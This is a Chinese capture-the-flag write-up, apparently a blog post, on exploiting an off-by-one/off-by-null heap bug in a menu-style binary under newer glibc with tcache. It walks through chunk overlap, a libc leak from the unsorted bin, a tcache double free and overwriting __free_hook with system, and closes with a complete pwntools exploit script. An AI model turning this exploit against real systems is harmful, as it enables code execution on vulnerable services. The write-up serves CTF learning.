高版本Tcache+off-by-One

思路

利用off-by-one实现堆向前重叠,在通过不断割掉unsortbins里面的chunk块达到泄露libc基地址,后面来利用前面的堆重叠来实现doule free将chunk申请到__free_hook上面将其修改为system,最后getshell。

分析

保护全开

main函数,经典菜单题,没有edit函数。感觉基本上漏洞点肯定在add()函数里面

7eb2d33ff08e47bf8090ba7306a18ffc.png

delete函数,指针置0了没有uaf

73b33edf07a943cfb65133ae007e4828.png

add函数,存在off-by-null,而且只给申请15个chunk

a6fcc88eaf094ec58b2d4cdb78ced075.png

结合exp分析

先把tcache填满,申请的大小必须大于0xf0,因为off-by-null会将低位修改为0,如果你是0x90就会变成0x00

for i in range(7):
    add(0xf0,i,'AAAA')

add(0xf0,7,'B')
add(0x18,8,'B')
add(0xf0,9,'B')
add(0x28,10,'B')

for i in range(7):
    delete(i)

点击并拖拽以移动

把序号为8的chunk的pre_size位修改为0x100,同时序号为7的chunk进入到unsortbins里面(此时需要将其的fd和bk指针给到序号为8的chunk),制造假chunk头,0x120为前面序号为7和8的chunk大小和

delete(7)
delete(8)
add(0x18,8,b'a'*0x10 + p64(0x120))#制造假chunk头,0x120为前面序号为7和8的chunk大小和,把序        
号为9的chunk的pre_size位修改为0x100

点击并拖拽以移动

此时的内存对应的chunk序号为8

11c270ae2b8c44b8b601cd2b3282247c.png

堆重叠,此时合并序号为7,8,9的chunk进入到unsortbins里面(但其实序号为8的chunk根本没有free,可供我们利用),大小为0x220,两次申请特殊大小的chunk,从unsortbins里面分割出来chunk其大小为序号为7的chunk,这样就可以将其fd和bk指针给到0x55c0a9334a60处。为什么不直接申请0xf0,因为直接申请bins会将tcache里面的chunk给你。包括第二个chunk的size为0x20,这是为后面doule free做准备。本人也是无意之间做到的,实属运气加成了。

delete(9)#堆向前合并掉序号为8的chunk
add(0xc0,7,'B')#这两个chunk的大小加起来正好等于序号为7的chunk
add(0x20,9,'B')#此chunk的大小必须为属于序号为8的chunk的大小

点击并拖拽以移动

show序号为8的chunk就可以得到unsortbins_addr,

show(8)

leak_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
log.info(f"leak_addr = {hex(leak_addr)}")

__malloc_hook = leak_addr - 0x60-0x10

libc_base = __malloc_hook - libc.sym["__malloc_hook"]
log.info(f"libc_base = {hex(libc_base)}")
fake_chunk = __malloc_hook -0x23

free_hook = libc_base + libc.sym['__free_hook']
log.info(f"free_hook  = {hex(free_hook)}")
system = libc_base + libc.sym['system']
log.info(f"system  = {hex(system)}")

点击并拖拽以移动

日志结果

7dbea093fbc443228769956bf6cbbf34.png

此时想办法将free_hook修改为system。将堆重叠的那块区域给申请出来。这样就可以构成double free

 add(0x18,11,'a')#分割unsortbins的大小。其实是为了让序号为8的那块chunk归我所用

delete(8)
delete(11)#double free

点击并拖拽以移动

查看bins,可以看到大小为0x20的形成了双链结构

e519e95e57584651bf7ea54c756a17a4.png

最后就是正常的步骤

add(0x8,8,p64(free_hook))#将其的fd指针指向free_hook

add(0x18,11,'/bin/sh\x00')#将0x55cd056ba60的chunk申请掉
add(0x18,12,p64(system))#将__free_hook修改为system的地址

delete(11)

点击并拖拽以移动

最后getshell

63a402e8a92c4c8bb7875c0f89f2b552.png

最后完整的exp
def add(size,index,name):
        io.sendlineafter('Your Choice:','1')
        io.sendlineafter('Index: ',str(index))
        io.sendlineafter('Size: ',str(size))
        io.sendafter('Content',name)

    def delete(index):
        io.sendlineafter('Your Choice:','2')
        io.sendlineafter('Index:',str(index))

    def show(index):
        io.sendlineafter('Your Choice:','3')
        io.sendlineafter('Index:',str(index))
    
    for i in range(7):
        add(0xf0,i,'AAAA')

    add(0xf0,7,'B')#此chunk需要和前面的chunk大小保持一直
    add(0x18,8,'B')
    add(0xf0,9,'B')#此chunk的大小至少为0xf0,因为off-by-null会将低位修改为0。
    add(0x28,10,'B')

    for i in range(7):
        delete(i)
    
    delete(7)
    delete(8)
    add(0x18,8,b'a'*0x10 + p64(0x120))#制造假chunk头,0x120为前面序号为7和8的chunk大小和,把        序号为9的chunk的pre_size位修改为0x100

    delete(9)#堆向前合并掉序号为8的chunk
    add(0xc0,7,'B')#这两个chunk的大小加起来正好等于序号为7的chunk
    add(0x20,9,'B')#此chunk的大小必须为属于序号为8的chunk的大小

    show(8)

    leak_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
    log.info(f"leak_addr = {hex(leak_addr)}")

    __malloc_hook = leak_addr - 0x60-0x10
    
    libc_base = __malloc_hook - libc.sym["__malloc_hook"]
    log.info(f"libc_base = {hex(libc_base)}")
    fake_chunk = __malloc_hook -0x23

    free_hook = libc_base + libc.sym['__free_hook']
    log.info(f"free_hook  = {hex(free_hook)}")
    system = libc_base + libc.sym['system']
    log.info(f"system  = {hex(system)}")

    add(0x18,11,'a')#分割unsortbins的大小。其实是为了让序号为8的那块chunk归我所用

    delete(8)
    delete(11)#double free

    add(0x8,8,p64(free_hook))#将其的fd指针指向free_hook

    add(0x18,11,'/bin/sh\x00')#将0x55cd056ba60的chunk申请掉
    add(0x18,12,p64(system))#将__free_hook修改为system的地址

    delete(11)
 
exp()  

io.interactive()

点击并拖拽以移动